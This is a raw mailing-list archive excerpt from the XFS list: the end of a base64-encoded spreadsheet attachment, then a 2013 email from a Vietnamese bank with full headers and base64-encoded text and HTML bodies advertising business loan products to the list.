AAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAB4AAAABAAAAAAA4AB4AAAABAAAAAAA4AB4AAAABAAAAAAA4AAMA AAAAAAAAAwAAAAAAAAADAAAAAAAAAAMAAAAAAAAAAwAAAAAAAAADAAAAAAAAAAMAAAAAAAAAAwAA AAAAAAADAAAA/AoJAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAAHhAAAAEAAAALAAAA c3YlYl9vdTI1dAAMEAAAAgAAAB4AAAAHAAAAuaTX97HtAAMAAAABAAAAAABgAAAAAwAAAAAAAAAg AAAAAQAAAD8AAAACAAAARwAAAAEAAAACAAAAEwAAAEtTT1Byb2R1Y3RCdWlsZFZlcgACAAAAqAMA AB4AAAAQAAAAMjA1Mi04LjEuMC4zNDQyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQD+ /wMKAAD/////IAgCAAAAAADAAAAAAAAARhcAAABNaWNyb3NvZnQgRXhjZWwguaTX97HtAAYAAABC aWZmOAAOAAAARXhjZWwuU2hlZXQuOAD0ObJxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA ------=oswa279_2756_114298135.028857-- From quangdt@abbank.vn Tue Jul 16 22:29:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE, T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C8CDC7F3F for ; Tue, 16 Jul 2013 22:29:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6C5CC8F8039 for ; Tue, 16 Jul 2013 20:29:01 -0700 (PDT) X-ASG-Debug-ID: 1374031726-04bdf0245e9a700003-NocioJ Received: from mail.abbank.vn (mail.abbank.vn [202.74.58.9]) by cuda.sgi.com with ESMTP id ohLOzdrLf4keeLLU for ; Tue, 16 Jul 2013 20:28:59 -0700 (PDT) X-Barracuda-Envelope-From: quangdt@abbank.vn X-Barracuda-Apparent-Source-IP: 202.74.58.9 X-AuditID: c0a8020b-b7f988e0000014af-32-51e5fe34be2e Received: from mail.abbank.vn (Unknown_Domain [10.64.70.112]) by mail.abbank.vn (Please don't SPAM - we don't like it) with SMTP id 6D.CC.05295.43EF5E15; Wed, 17 Jul 2013 09:15:16 +0700 (ICT) Received: from MMBX-SRV-HW-P2.SOUTH.ABBANK.CORP ([169.254.2.212]) by MHCS-SRV-HW-P2.SOUTH.ABBANK.CORP ([10.64.70.112]) with mapi id 14.03.0123.003; Wed, 17 Jul 2013 10:26:54 +0700 From: Dang Thanh Quang To: "xfs@oss.sgi.com" Subject: =?utf-8?B?S8OtbmggZ+G7rWk6IFHDunkga2jDoWNoIGjDoG5nIGNoxrDGoW5nIHRyw6xu?= =?utf-8?B?aCDGsHUgxJHDo2kgbMOjaSBzdeG6pXQgY+G7p2EgQUJCQU5LIA==?= Thread-Topic: =?utf-8?B?S8OtbmggZ+G7rWk6IFHDunkga2jDoWNoIGjDoG5nIGNoxrDGoW5nIHRyw6xu?= =?utf-8?B?aCDGsHUgxJHDo2kgbMOjaSBzdeG6pXQgY+G7p2EgQUJCQU5LIA==?= X-ASG-Orig-Subj: =?utf-8?B?S8OtbmggZ+G7rWk6IFHDunkga2jDoWNoIGjDoG5nIGNoxrDGoW5nIHRyw6xu?= =?utf-8?B?aCDGsHUgxJHDo2kgbMOjaSBzdeG6pXQgY+G7p2EgQUJCQU5LIA==?= Thread-Index: Ac6CnROz11t7iJ36Q5e/zJKg+AuVtg== Date: Wed, 17 Jul 2013 03:26:54 +0000 Message-ID: <45C3B30F33150D47A475213CCB979F96030136@MMBX-SRV-HW-P2.SOUTH.ABBANK.CORP> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: yes X-MS-TNEF-Correlator: x-originating-ip: [10.64.94.75] Content-Type: multipart/related; boundary="_004_45C3B30F33150D47A475213CCB979F96030136MMBXSRVHWP2SOUTHA_"; type="multipart/alternative" MIME-Version: 1.0 X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrNKsWRmVeSWpSXmKPExsXC5eBWoGvy72mgwYO5qhaL+m4xOjB6rL6w lTGAMYrLJiU1J7MstUjfLoErY+uJWywFC74yVtyY187cwHjoHWMXIyeHhICJxPmf85ggbDGJ C/fWs3UxcnEICRxklPi7aRsThLOdUWLdlxUsIFVsAloSS9ZNZ+1i5OAQEVCXePzfGiQsLDCF UaJtggdIvYjATEaJQ/vfgE0VEdCTuDJrLiuIzSKgKjGvoQ/M5hUIlWifuxZsJiPQ5u+n1oDV MwuIS9x6Mh/qIhGJhxdPs0HYohIvH/9jhbDlJZ58u8MOsoxZoJtR4umV2SwQQwUlTs58wjKB UWgWklmzkNXNQlIHUZQv0X/zGOMsoIeYBTQl1u/ShwgrSkzpfsgOYWtItM6Zy44prisxfcIR Jpj47OWvGCF2LWWUmHT1NjNEQkeieUErC7LmBYy8qxgVHJ2cPJx9PUOcg53cDQz1gv1DQzz0 gIKOft56zv5BAZsYgTF8YAUT9w7GAzM0DzEKcDAq8fB+iH8aKMSaWFZcmXuIUZKDSUmUdw7n s0AhvqT8lMqMxOKM+KLSnNTiQ4wqQOsebVh9gVGKJS8/L1VJhHffR6BW3pTEyqrUonyYMhkO DiUJXgNeoBGCRanpqRVpmTnABAaTZuLgPMQowcED1P6XB6iGt7ggMbc4Mx0if4pRleP7tq3v GYXAdkiJ864HGSQAUpRRmgc35xWjONDxwrwTQEbwAFMw3IRXQMOZgIY3z34MMrwkESEl1cDo Fpr42bf/QfD2KQ81f0oor3bqu/56yZx0scJNP6YI1JfO2/VwYubt3i3/zJS/dWrtWumt/G7p /HsrBB81n3EtyFz80jpPzXWB5/676yYcP2MU1j2bR3HD1ymM1/vET/oLmvFmzM778Y5Ja0rF 4bX8Zwz2zvvebdZSwnj0VPVvq6/zXpccMrxbrcRSnJFoqMVcVJwIABbIK2V+AwAA X-Barracuda-Connect: mail.abbank.vn[202.74.58.9] X-Barracuda-Start-Time: 1374031738 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.02 X-Barracuda-Spam-Status: No, SCORE=2.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC3_MV0164, EXTRA_MPART_TYPE, HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136987 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message 2.00 BSF_SC3_MV0164 Custom rule MV0164 --_004_45C3B30F33150D47A475213CCB979F96030136MMBXSRVHWP2SOUTHA_ Content-Type: multipart/alternative; boundary="_000_45C3B30F33150D47A475213CCB979F96030136MMBXSRVHWP2SOUTHA_" --_000_45C3B30F33150D47A475213CCB979F96030136MMBXSRVHWP2SOUTHA_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 DQpLw61uaCBn4butaTogUcO6eSBDw7RuZyB0eSBz4bqjbiBwaOG6qW0gdMOgaSB0cuG7oyB24buR biBjaG8ga2jDoWNoIGjDoG5nIGRvYW5oIG5naGnhu4dwIHThuqFpIEFCQkFOSw0KDQpT4bqiTiBQ SOG6qE0gQ0hPIFZBWSBET0FOSCBOR0hJ4buGUA0KDQoNCg0KU+G6ok4gUEjhuqhNIOKAnCBUw4BJ IFRS4buiIE5I4bqsUCBLSOG6qFUgVk7EkCBMw4NJIFNV4bqkVCBOR0/huqBJIFThu4bigJ0NCg0K DQpT4bqjbiBwaOG6qW0g4oCcQ0hPIFZBWSBFVVIg4oCTxq9VIMSQw4NJIFhV4bqkVCBLSOG6qFXi gJ0gKCAzMS8xMi8yMDEzKQ0KDQoNClPhuqJOIFBI4bqoTSDigJwgS0jhu55JIMSQ4bqmVSBUSMOA TkggQ8OUTkcgTeG7mknigJkNCg0KU+G6ok4gUEjhuqhN4oCZIEjhu6JQIFTDgUMgTuG7mEkgxJDh u4pBIOKAkyBOw4JORyBU4bqmTSBRVeG7kEMgVOG6vi4NCg0KDQoNCg0KwrcgICAgICAgIMSQ4buR aSB0xrDhu6NuZyBraMOhY2ggaMOgbmc6IMOhcCBk4bulbmcgY2hvIG3hu41pIGRvYW5oIG5naGnh u4dwDQoNCg0KDQrCtyAgICAgICBMw6NpIHN14bqldA0KDQorIEzDo2kgc3XhuqV0IHRo4bqjIG7h u5VpIFZOxJA6IDYlL27Eg20uDQoNCisgTMOjaSBzdeG6pXQgY+G7kSDEkeG7i25oIFZOxJA6IDEw LjUlL27Eg20NCg0KDQoNCg0KICAqICAgxJDhu5FpIHTGsOG7o25nIGtow6FjaCBow6BuZzogS2jD oWNoIGjDoG5nIHh14bqldCBraOG6qXUgY8OzIG5ndeG7k24gdGh1IEVVUg0KICAqICAgTMOjaSBz deG6pXQ6IDUlL27Eg20NCiAgKiAgIExv4bqhaSB0aeG7gW4gY2hvIHZheTogRVVSLg0KDQoNCg0K DQrCtyAgICAgICAgICAgIEtow6FjaCBow6BuZyBraW5oIGRvYW5oIHRyb25nIGzEqW5oIFh14bql dCBuaOG6rXAga2jhuql1IHbDoCBjaMawYSBwaMOhdCBzaW5oIGTGsCBu4bujIHThuqFpIEFCQkFO Sy4NCsK3ICAgICAgICAgICAgTMOjaSBzdeG6pXQgVk7EkDogOSUvbsSDbQ0KwrcgICAgICAgICAg ICBMb+G6oWkgdGnhu4FuIGNobyB2YXk6IFZOxJANCg0KDQrCtyAgICAgICAgICAgIEtow6FjaCBo w6BuZyBraW5oIGRvYW5oIHRyb25nIGzEqW5oIFh14bqldCBraOG6qXUgdsOgIGNoxrBhIHBow6F0 IHNpbmggZMawIG7hu6MgdOG6oWkgQUJCQU5LLg0KwrcgICAgICAgICAgICBDYW0ga+G6v3QgYsOh biBs4bqhaTogNTAlIG5ndeG7k24gVVNEIGtoaSB0aeG7gW4gduG7gS4NCsK3ICAgICAgICAgICAg TG/huqFpIHRp4buBbiBjaG8gdmF5OiBVU0QuDQrCtyAgICAgICAgICAgTMOjaSBzdeG6pXQ6IDUu NSUvbsSDbS4NCg0KDQoNCg0KxJDhurZORyBUSMOATkggUVVBTkcNCltjaWQ6aW1hZ2UwMDEuanBn QDAxQ0MwNENFLkUwM0VGQzIwXQ0KQUJCQU5LIMOUTkcgVOG6oA0KxJDhu4thIGNo4buJICAgICAg ICAgIDogNzM3IEPDoWNoIE3huqFuZyBUaMOhbmcgOCwgcGjGsOG7nW5nIDYsIHF14bqtbiBUw6Ju IELDrG5oLCBUcC4gSENNLg0KVGVsZXBob25lICAgICA6IDA4LjM5NzcgMTAxMSAgICAtICAgICAg TcOheSBs4bq7OiAxMDMNCkZheCAgICAgICAgICAgICAgIDogMDguIDM5NzcgMTAxMg0KRGkgxJHh u5luZyAgICAgICAgOiAwOTAzLjYyOC4zNDUNCkVtYWlsICAgICAgICAgICAgOiBxdWFuZ2R0QGFi YmFuay52bjxtYWlsdG86bmhhbmx0QGFiYmFuay52bj4NCldlYnNpdGUgICAgICAgIDogd3d3LmFi YmFuay52bjxodHRwOi8vd3d3LmFiYmFuay52bj4NCg0KDQoNCg0KX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX18NCg0KVGhlIGluZm9ybWF0aW9uIGNvbnRhaW5lZCBpbiB0aGlzIGNvbW11 bmljYXRpb24gYW5kIGF0dGFjaG1lbnQgaXMgY29uZmlkZW50aWFsIGFuZCBpcyBmb3IgdGhlIHVz ZSBvZiB0aGUgaW50ZW5kZWQgcmVjaXBpZW50IG9ubHkuDQpBbnkgZGlzY2xvc3VyZSwgY29weWlu ZyBvciBkaXN0cmlidXRpb24gb2YgdGhpcyBjb21tdW5pY2F0aW9uIHdpdGhvdXQgdGhlIHNlbmRl cidzIGNvbnNlbnQgaXMgc3RyaWN0bHkgcHJvaGliaXRlZC4NCklmIHlvdSBhcmUgbm90IHRoZSBp bnRlbmRlZCByZWNpcGllbnQsIHBsZWFzZSBub3RpZnkgdGhlIHNlbmRlciBhbmQgZGVsZXRlIHRo aXMgY29tbXVuaWNhdGlvbiBlbnRpcmVseSB3aXRob3V0IHVzaW5nLCByZXRhaW5pbmcsIG9yIGRp c2Nsb3NpbmcgYW55IG9mIGl0cyBjb250ZW50cy4NClRoaXMgY29tbXVuaWNhdGlvbiBpcyBmb3Ig aW5mb3JtYXRpb24gcHVycG9zZXMgb25seSBhbmQgc2hhbGwgbm90IGJlIGNvbnN0cnVlZCBhcyBh biBvZmZlciBvciBzb2xpY2l0YXRpb24gb2YgYW4gb2ZmZXIgb3IgYW4gYWNjZXB0YW5jZSBvciBh IGNvbmZpcm1hdGlvbiBvZiBhbnkgY29udHJhY3Qgb3IgdHJhbnNhY3Rpb24uDQpBbGwgZGF0YSBv ciBvdGhlciBpbmZvcm1hdGlvbiBjb250YWluZWQgaGVyZWluIGFyZSBub3Qgd2FycmFudGVkIHRv IGJlIGNvbXBsZXRlIGFuZCBhY2N1cmF0ZSBhbmQgYXJlIHN1YmplY3QgdG8gY2hhbmdlIHdpdGhv dXQgbm90aWNlLg0KQW55IGNvbW1lbnRzIG9yIHN0YXRlbWVudHMgbWFkZSBoZXJlaW4gZG8gbm90 IG5lY2Vzc2FyaWx5IHJlZmxlY3QgdGhvc2Ugb2YgQW4gQmluaCBDb21tZXJjaWFsIEpvaW50IFN0 b2NrIEJhbmsgb3IgYW55IG9mIGl0cyBhZmZpbGlhdGVzLg0KSW50ZXJuZXQgY29tbXVuaWNhdGlv bnMgY2Fubm90IGJlIGd1YXJhbnRlZWQgdG8gYmUgdmlydXMtZnJlZS4NClRoZSByZWNpcGllbnQg aXMgcmVzcG9uc2libGUgZm9yIGVuc3VyaW5nIHRoYXQgdGhpcyBjb21tdW5pY2F0aW9uIGlzIHZp cnVzIGZyZWUgYW5kIHRoZSBzZW5kZXIgYWNjZXB0cyBubyBsaWFiaWxpdHkgZm9yIGFueSBkYW1h Z2VzIGNhdXNlZCBieSB2aXJ1cyB0cmFuc21pdHRlZCBieSB0aGlzIGNvbW11bmljYXRpb24uDQo= --_000_45C3B30F33150D47A475213CCB979F96030136MMBXSRVHWP2SOUTHA_ Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0i dGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxzdHlsZT4NCjwhLS0NCkBmb250LWZhY2UNCgl7 Zm9udC1mYW1pbHk6V2luZ2RpbmdzfQ0KQGZvbnQtZmFjZQ0KCXtmb250LWZhbWlseToiQ2FtYnJp YSBNYXRoIn0NCkBmb250LWZhY2UNCgl7Zm9udC1mYW1pbHk6Q2FsaWJyaX0NCnAuTXNvTm9ybWFs LCBsaS5Nc29Ob3JtYWwsIGRpdi5Nc29Ob3JtYWwNCgl7bWFyZ2luLXRvcDowaW47DQoJbWFyZ2lu LXJpZ2h0OjBpbjsNCgltYXJnaW4tYm90dG9tOjEwLjBwdDsNCgltYXJnaW4tbGVmdDowaW47DQoJ bGluZS1oZWlnaHQ6MTE1JTsNCglmb250LXNpemU6MTEuMHB0Ow0KCWZvbnQtZmFtaWx5OiJUaW1l cyBOZXcgUm9tYW4iLCJzZXJpZiJ9DQphOmxpbmssIHNwYW4uTXNvSHlwZXJsaW5rDQoJe2NvbG9y OmJsdWU7DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0NCmE6dmlzaXRlZCwgc3Bhbi5Nc29I eXBlcmxpbmtGb2xsb3dlZA0KCXtjb2xvcjpwdXJwbGU7DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVy bGluZX0NCnAuTXNvTGlzdFBhcmFncmFwaCwgbGkuTXNvTGlzdFBhcmFncmFwaCwgZGl2Lk1zb0xp c3RQYXJhZ3JhcGgNCgl7bWFyZ2luLXRvcDowaW47DQoJbWFyZ2luLXJpZ2h0OjBpbjsNCgltYXJn aW4tYm90dG9tOjEwLjBwdDsNCgltYXJnaW4tbGVmdDouNWluOw0KCWxpbmUtaGVpZ2h0OjExNSU7 DQoJZm9udC1zaXplOjExLjBwdDsNCglmb250LWZhbWlseToiVGltZXMgTmV3IFJvbWFuIiwic2Vy aWYifQ0KcC5Nc29MaXN0UGFyYWdyYXBoQ3hTcEZpcnN0LCBsaS5Nc29MaXN0UGFyYWdyYXBoQ3hT cEZpcnN0LCBkaXYuTXNvTGlzdFBhcmFncmFwaEN4U3BGaXJzdA0KCXttYXJnaW4tdG9wOjBpbjsN CgltYXJnaW4tcmlnaHQ6MGluOw0KCW1hcmdpbi1ib3R0b206MGluOw0KCW1hcmdpbi1sZWZ0Oi41 aW47DQoJbWFyZ2luLWJvdHRvbTouMDAwMXB0Ow0KCWxpbmUtaGVpZ2h0OjExNSU7DQoJZm9udC1z aXplOjExLjBwdDsNCglmb250LWZhbWlseToiVGltZXMgTmV3IFJvbWFuIiwic2VyaWYifQ0KcC5N c29MaXN0UGFyYWdyYXBoQ3hTcE1pZGRsZSwgbGkuTXNvTGlzdFBhcmFncmFwaEN4U3BNaWRkbGUs IGRpdi5Nc29MaXN0UGFyYWdyYXBoQ3hTcE1pZGRsZQ0KCXttYXJnaW4tdG9wOjBpbjsNCgltYXJn aW4tcmlnaHQ6MGluOw0KCW1hcmdpbi1ib3R0b206MGluOw0KCW1hcmdpbi1sZWZ0Oi41aW47DQoJ bWFyZ2luLWJvdHRvbTouMDAwMXB0Ow0KCWxpbmUtaGVpZ2h0OjExNSU7DQoJZm9udC1zaXplOjEx LjBwdDsNCglmb250LWZhbWlseToiVGltZXMgTmV3IFJvbWFuIiwic2VyaWYifQ0KcC5Nc29MaXN0 UGFyYWdyYXBoQ3hTcExhc3QsIGxpLk1zb0xpc3RQYXJhZ3JhcGhDeFNwTGFzdCwgZGl2Lk1zb0xp c3RQYXJhZ3JhcGhDeFNwTGFzdA0KCXttYXJnaW4tdG9wOjBpbjsNCgltYXJnaW4tcmlnaHQ6MGlu Ow0KCW1hcmdpbi1ib3R0b206MTAuMHB0Ow0KCW1hcmdpbi1sZWZ0Oi41aW47DQoJbGluZS1oZWln aHQ6MTE1JTsNCglmb250LXNpemU6MTEuMHB0Ow0KCWZvbnQtZmFtaWx5OiJUaW1lcyBOZXcgUm9t YW4iLCJzZXJpZiJ9DQouTXNvQ2hwRGVmYXVsdA0KCXt9DQpAcGFnZSBXb3JkU2VjdGlvbjENCgl7 bWFyZ2luOjEuMGluIDEuMGluIDEuMGluIDEuMGlufQ0KZGl2LldvcmRTZWN0aW9uMQ0KCXt9DQpv bA0KCXttYXJnaW4tYm90dG9tOjBpbn0NCnVsDQoJe21hcmdpbi1ib3R0b206MGlufQ0KLS0+DQo8 L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHkgbGFuZz0iRU4tVVMiIGxpbms9ImJsdWUiIHZsaW5rPSJw dXJwbGUiPg0KPGRpdiBjbGFzcz0iV29yZFNlY3Rpb24xIj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwi PiZuYnNwOzwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxiPjxpPjxzcGFuIHN0eWxlPSJmb250 LXNpemU6MTYuMHB0OyBsaW5lLWhlaWdodDoxMTUlIj5Lw61uaCBn4butaTwvc3Bhbj48L2k+PC9i PjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTYuMHB0OyBsaW5lLWhlaWdodDoxMTUlIj46DQo8Yj48 aT5Rw7p5IEPDtG5nIHR5IHPhuqNuIHBo4bqpbSB0w6BpIHRy4bujIHbhu5FuIGNobyBraMOhY2gg aMOgbmcgZG9hbmggbmdoaeG7h3A8L2k+PC9iPiA8Yj504bqhaSBBQkJBTks8L2I+PC9zcGFuPjwv cD4NCjx0YWJsZSBjbGFzcz0iTXNvTm9ybWFsVGFibGUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9 IjAiIGNlbGxwYWRkaW5nPSIwIiBzdHlsZT0ibWFyZ2luLWxlZnQ6LjRwdDsgYm9yZGVyLWNvbGxh cHNlOmNvbGxhcHNlOyBib3JkZXI6bm9uZSI+DQo8dGJvZHk+DQo8dHI+DQo8dGQgd2lkdGg9IjEy NDIiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6OTMxLjQ1cHQ7IGJvcmRl cjpzb2xpZCAjNzhDMEQ0IDEuMHB0OyBib3JkZXItbGVmdDpub25lOyBiYWNrZ3JvdW5kOiM0QkFD QzY7IHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdCI+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBh bGlnbj0iY2VudGVyIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTowaW47IG1hcmdpbi1ib3R0b206LjAw MDFwdDsgdGV4dC1hbGlnbjpjZW50ZXI7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8Yj48c3BhbiBz dHlsZT0iZm9udC1zaXplOjE2LjBwdDsgY29sb3I6d2hpdGUiPiZuYnNwOzwvc3Bhbj48L2I+PC9w Pg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9Im1hcmdpbi1ib3R0 b206MGluOyBtYXJnaW4tYm90dG9tOi4wMDAxcHQ7IHRleHQtYWxpZ246Y2VudGVyOyBsaW5lLWhl aWdodDpub3JtYWwiPg0KPGI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToyMC4wcHQ7IGNvbG9yOndo aXRlIj5T4bqiTiBQSOG6qE0gQ0hPIFZBWSBET0FOSCBOR0hJ4buGUDwvc3Bhbj48L2I+PC9wPg0K PHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9Im1hcmdpbi1ib3R0b206 MGluOyBtYXJnaW4tYm90dG9tOi4wMDAxcHQ7IHRleHQtYWxpZ246Y2VudGVyOyBsaW5lLWhlaWdo dDpub3JtYWwiPg0KPGI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNi4wcHQ7IGNvbG9yOndoaXRl Ij4mbmJzcDs8L3NwYW4+PC9iPjwvcD4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIHdpZHRoPSIz OTciIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6Mjk4LjFwdDsgYm9yZGVyOm5vbmU7IGJvcmRl ci1ib3R0b206c29saWQgIzc4QzBENCAxLjBwdDsgYmFja2dyb3VuZDojRDJFQUYxOyBwYWRkaW5n OjBpbiA1LjRwdCAwaW4gNS40cHQiPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9Im1hcmdp bi1ib3R0b206MGluOyBtYXJnaW4tYm90dG9tOi4wMDAxcHQ7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+ DQo8Yj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdDsgY29sb3I6IzAwNzBDMCI+Jm5ic3A7 PC9zcGFuPjwvYj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHls ZT0ibWFyZ2luLWJvdHRvbTowaW47IG1hcmdpbi1ib3R0b206LjAwMDFwdDsgdGV4dC1hbGlnbjpj ZW50ZXI7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8Yj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0 LjBwdDsgY29sb3I6IzAwNzBDMCI+U+G6ok4gUEjhuqhNIOKAnCBUw4BJIFRS4buiIE5I4bqsUCBL SOG6qFUgVk7EkCBMw4NJIFNV4bqkVCBOR0/huqBJIFThu4bigJ08L3NwYW4+PC9iPjwvcD4NCjwv dGQ+DQo8dGQgd2lkdGg9IjMwNiIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDoyMjkuMzVwdDsg Ym9yZGVyOm5vbmU7IGJvcmRlci1ib3R0b206c29saWQgIzc4QzBENCAxLjBwdDsgYmFja2dyb3Vu ZDojRDJFQUYxOyBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQiPg0KPHAgY2xhc3M9Ik1zb05v cm1hbCIgc3R5bGU9Im1hcmdpbi1ib3R0b206MGluOyBtYXJnaW4tYm90dG9tOi4wMDAxcHQ7IGxp bmUtaGVpZ2h0Om5vcm1hbCI+DQo8Yj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdDsgY29s b3I6IzAwNzBDMCI+Jm5ic3A7PC9zcGFuPjwvYj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBh bGlnbj0iY2VudGVyIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTowaW47IG1hcmdpbi1ib3R0b206LjAw MDFwdDsgdGV4dC1hbGlnbjpjZW50ZXI7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8Yj48c3BhbiBz dHlsZT0iZm9udC1zaXplOjE0LjBwdDsgY29sb3I6IzAwNzBDMCI+U+G6o24gcGjhuqltIOKAnENI TyBWQVkgRVVSIOKAk8avVSDEkMODSSBYVeG6pFQgS0jhuqhV4oCdICggMzEvMTIvMjAxMyk8L3Nw YW4+PC9iPjwvcD4NCjwvdGQ+DQo8dGQgd2lkdGg9IjI2OSIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3 aWR0aDoyMDIuMHB0OyBib3JkZXI6bm9uZTsgYm9yZGVyLWJvdHRvbTpzb2xpZCAjNzhDMEQ0IDEu MHB0OyBiYWNrZ3JvdW5kOiNEMkVBRjE7IHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdCI+DQo8 cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTowaW47IG1hcmdpbi1ib3R0 b206LjAwMDFwdDsgbGluZS1oZWlnaHQ6bm9ybWFsIj4NCjxiPjxzcGFuIHN0eWxlPSJmb250LXNp emU6MTQuMHB0OyBjb2xvcjojMDA3MEMwIj4mbmJzcDs8L3NwYW4+PC9iPjwvcD4NCjxwIGNsYXNz PSJNc29Ob3JtYWwiIHN0eWxlPSJtYXJnaW4tYm90dG9tOjBpbjsgbWFyZ2luLWJvdHRvbTouMDAw MXB0OyBsaW5lLWhlaWdodDpub3JtYWwiPg0KPGI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNC4w cHQ7IGNvbG9yOiMwMDcwQzAiPlPhuqJOIFBI4bqoTSDigJwgS0jhu55JIMSQ4bqmVSBUSMOATkgg Q8OUTkcgTeG7mknigJkNCjwvc3Bhbj48L2I+PC9wPg0KPC90ZD4NCjx0ZCB3aWR0aD0iMjY5IiB2 YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjIwMi4wcHQ7IGJvcmRlci10b3A6bm9uZTsgYm9yZGVy LWxlZnQ6bm9uZTsgYm9yZGVyLWJvdHRvbTpzb2xpZCAjNzhDMEQ0IDEuMHB0OyBib3JkZXItcmln aHQ6c29saWQgIzc4QzBENCAxLjBwdDsgYmFja2dyb3VuZDojRDJFQUYxOyBwYWRkaW5nOjBpbiA1 LjRwdCAwaW4gNS40cHQiPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9Im1hcmdpbi1ib3R0 b206MGluOyBtYXJnaW4tYm90dG9tOi4wMDAxcHQ7IGxpbmUtaGVpZ2h0Om5vcm1hbCI+DQo8Yj48 c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0LjBwdDsgY29sb3I6IzAwNzBDMCI+U+G6ok4gUEjhuqhN 4oCZIEjhu6JQIFTDgUMgTuG7mEkgxJDhu4pBIOKAkyBOw4JORyBU4bqmTSBRVeG7kEMgVOG6vi48 L3NwYW4+PC9iPjwvcD4NCjwvdGQ+DQo8L3RyPg0KPHRyIHN0eWxlPSJoZWlnaHQ6MjEzLjY1cHQi Pg0KPHRkIHdpZHRoPSIzOTciIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6Mjk4LjFwdDsgYm9y ZGVyOm5vbmU7IGJvcmRlci1ib3R0b206c29saWQgIzc4QzBENCAxLjBwdDsgcGFkZGluZzowaW4g NS40cHQgMGluIDUuNHB0OyBoZWlnaHQ6MjEzLjY1cHQiPg0KPHAgY2xhc3M9Ik1zb0xpc3RQYXJh Z3JhcGhDeFNwRmlyc3QiIHN0eWxlPSJtYXJnaW4tYm90dG9tOjBpbjsgbWFyZ2luLWJvdHRvbTou MDAwMXB0OyBsaW5lLWhlaWdodDpub3JtYWwiPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNC4w 